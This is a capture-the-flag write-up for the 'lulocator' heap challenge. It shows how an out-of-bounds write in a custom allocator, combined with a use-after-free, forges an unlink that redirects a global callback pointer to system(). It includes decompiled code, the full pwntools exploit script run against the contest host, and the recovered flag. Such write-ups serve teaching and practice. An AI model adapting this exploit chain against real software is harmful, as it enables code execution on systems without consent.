Category: Binary Exploitation
Flag: EH4X{unf0rtun4t3ly_th3_lul_1s_0n_m3}
Challenge Description
Who needs that buggy malloc? Made my own completely safe lulocator.
Analysis
The handout immediately telegraphed the shape of the challenge: one custom allocator binary plus an exact libc, which usually means the intended exploit path is inside the program’s own heap logic, not glibc internals.
unzip -l "/home/rei/Downloads/handout_lulocator.zip"Archive: /home/rei/Downloads/handout_lulocator.zip
Length Date Time Name
--------- ---------- ----- ----
297 02-28-2026 00:45 handout/Makefile
16608 02-28-2026 00:47 handout/lulocator
2220400 02-28-2026 00:47 handout/libc.so.6
30 02-27-2026 23:57 handout/flag.txtfile "./lulocator"./lulocator: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, ... strippedchecksec --file="./lulocator"[*] '/home/rei/Downloads/handout/lulocator'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: EnabledNo PIE and no canary were nice, but this was not a direct stack-overflow binary. The menu and decompilation showed a custom heap object model with a global “runner” pointer and an indirect callback dispatch, which is exactly where I focused.
strings -a -n 4 "./lulocator" | rg -i "allocator: corrupted free list detected|\[new\]|\[info\]|set_runner|=== lulocator ==="allocator: corrupted free list detected
[new] index=%d
[info] addr=0x%lx out=0x%lx len=%lu
=== lulocator ===
5) set_runnerr2 -Aqc "s 0x401e0d; pdg" "./lulocator"void fcn.00401e0d(void)
{
if (*0x404940 == 0) {
sym.imp.puts("[no runner]");
}
else {
(**(*0x404940 + 0x10))(*0x404940 + 0x28);
}
}That one function gives the whole endgame: if I can make the global runner (0x404940) point to attacker data, I control both the called function pointer at runner+0x10 and its argument pointer runner+0x28.
r2 -Aqc "s 0x401d3d; pdg" "./lulocator"void fcn.00401d3d(void)
{
...
*0x404940 = *(var_44h * 8 + 0x4048c0);
sym.imp.puts("[runner set]");
}r2 -Aqc "s 0x401978; pdg" "./lulocator"void fcn.00401978(void)
{
...
if (*(var_18h + 0x20) + 0x18U < var_70h) {
sym.imp.puts("too long");
return;
}
...
fcn.00401636(0, var_18h + 0x28, var_70h);
}This is the bug: write length is allowed up to chunk_len + 0x18, but write target starts at chunk+0x28. So each chunk can overwrite 0x18 bytes past its own data region—perfect for corrupting the metadata of the physically next chunk.
r2 -Aqc "s 0x4012f2; pdg" "./lulocator"void fcn.004012f2(uint32_t arg1)
{
...
if ((piVar1 == *(*piVar1 + 8)) && (piVar1 == *piVar1[1])) {
*piVar1[1] = *piVar1;
*(*piVar1 + 8) = piVar1[1];
return;
}
sym.imp.fwrite("allocator: corrupted free list detected\n", ...);
sym.imp.abort();
}That unlink check is classic and bypassable with fake fd/bk setup. The reliable chain was: allocate A and R adjacent, set runner to R, free R (runner becomes stale UAF), overflow from A into freed R’s free-list pointers, then trigger allocation to unlink R and overwrite runner with an attacker-controlled fake object inside A’s data.

The info command gave two essential leaks in one line: chunk address for precise fake-object placement and stdout pointer for libc base recovery. Since a challenge libc was provided in the handout, the exploit resolves system from that exact libc and uses the leak to compute libc_base on the fly.
With runner -> fake_object, fake_object+0x10 = system, and fake_object+0x28 = command string, run becomes system(command). I used a multi-path cat command so the exploit would survive unknown remote flag paths, and the first full remote execution returned the real flag twice in stdout.
python3.12 "./exploit.py" REMOTE[x] Opening connection to chall.ehax.in on port 40137
[+] chunk A @ 0x7dda42bfe008
[+] chunk R @ 0x7dda42bfe138
[+] stdout leak = 0x7dda42e5c780
[+] libc base = 0x7dda42c41000
[+] system = 0x7dda42c91d70
EH4X{unf0rtun4t3ly_th3_lul_1s_0n_m3}
...
FLAG_FOUND: EH4X{unf0rtun4t3ly_th3_lul_1s_0n_m3}Solution
# solve.py
from pwn import *
import re
HOST = "chall.ehax.in"
PORT = 40137
libc = ELF("./libc.so.6", checksec=False)
def cmd(io, choice: int):
io.sendlineafter(b"> ", str(choice).encode())
def new(io, size: int) -> int:
cmd(io, 1)
io.sendlineafter(b"size: ", str(size).encode())
io.recvuntil(b"[new] index=")
return int(io.recvline().strip())
def write_idx(io, idx: int, length: int, data: bytes):
cmd(io, 2)
io.sendlineafter(b"idx: ", str(idx).encode())
io.sendlineafter(b"len: ", str(length).encode())
io.sendafter(b"data: ", data)
io.recvline()
def delete(io, idx: int):
cmd(io, 3)
io.sendlineafter(b"idx: ", str(idx).encode())
io.recvline()
def info(io, idx: int):
cmd(io, 4)
io.sendlineafter(b"idx: ", str(idx).encode())
line = io.recvline().decode(errors="ignore").strip()
m = re.search(r"addr=0x([0-9a-fA-F]+) out=0x([0-9a-fA-F]+) len=(\d+)", line)
if not m:
raise RuntimeError(f"bad info line: {line!r}")
return int(m.group(1), 16), int(m.group(2), 16)
def set_runner(io, idx: int):
cmd(io, 5)
io.sendlineafter(b"idx: ", str(idx).encode())
io.recvline()
def main():
io = remote(HOST, PORT)
a = new(io, 0x100)
r = new(io, 0x100)
a_addr, out_ptr = info(io, a)
r_addr, _ = info(io, r)
libc.address = out_ptr - libc.symbols["_IO_2_1_stdout_"]
system = libc.symbols["system"]
set_runner(io, r)
delete(io, r)
command = (
b"cat flag.txt 2>/dev/null; cat /flag.txt 2>/dev/null; "
b"cat /flag 2>/dev/null; cat /app/flag.txt 2>/dev/null; "
b"cat /home/*/flag.txt 2>/dev/null; echo __END__\x00"
)
fake = a_addr + 0x28
payload = bytearray(b"A" * (0x100 + 0x18))
# fake object at `fake`
payload[0x08:0x10] = p64(r_addr) # for unlink check
payload[0x10:0x18] = p64(system) # callback
payload[0x28:0x28 + len(command)] = command
# overwrite freed R chunk metadata via +0x18 OOB write
payload[0x100:0x108] = p64(0x130) # keep size
payload[0x108:0x110] = p64(fake) # fd
payload[0x110:0x118] = p64(0x404940) # bk -> &runner
write_idx(io, a, len(payload), bytes(payload))
new(io, 0x80) # trigger unlink => runner = fake
cmd(io, 6) # run => system(fake+0x28)
out = io.recvuntil(b"__END__", timeout=3)
print(out.decode(errors="ignore"))
if __name__ == "__main__":
main()python3.12 solve.pyEH4X{unf0rtun4t3ly_th3_lul_1s_0n_m3}